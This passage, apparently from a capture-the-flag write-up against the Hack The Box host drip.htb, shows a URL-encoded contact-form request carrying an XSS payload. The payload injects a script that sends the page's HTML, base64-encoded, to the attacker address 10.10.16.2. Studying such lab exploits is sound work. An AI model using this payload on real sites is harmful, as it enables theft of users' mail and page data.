&content=html&recipient=bcase@drip.htbbase64编码后如下。name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D…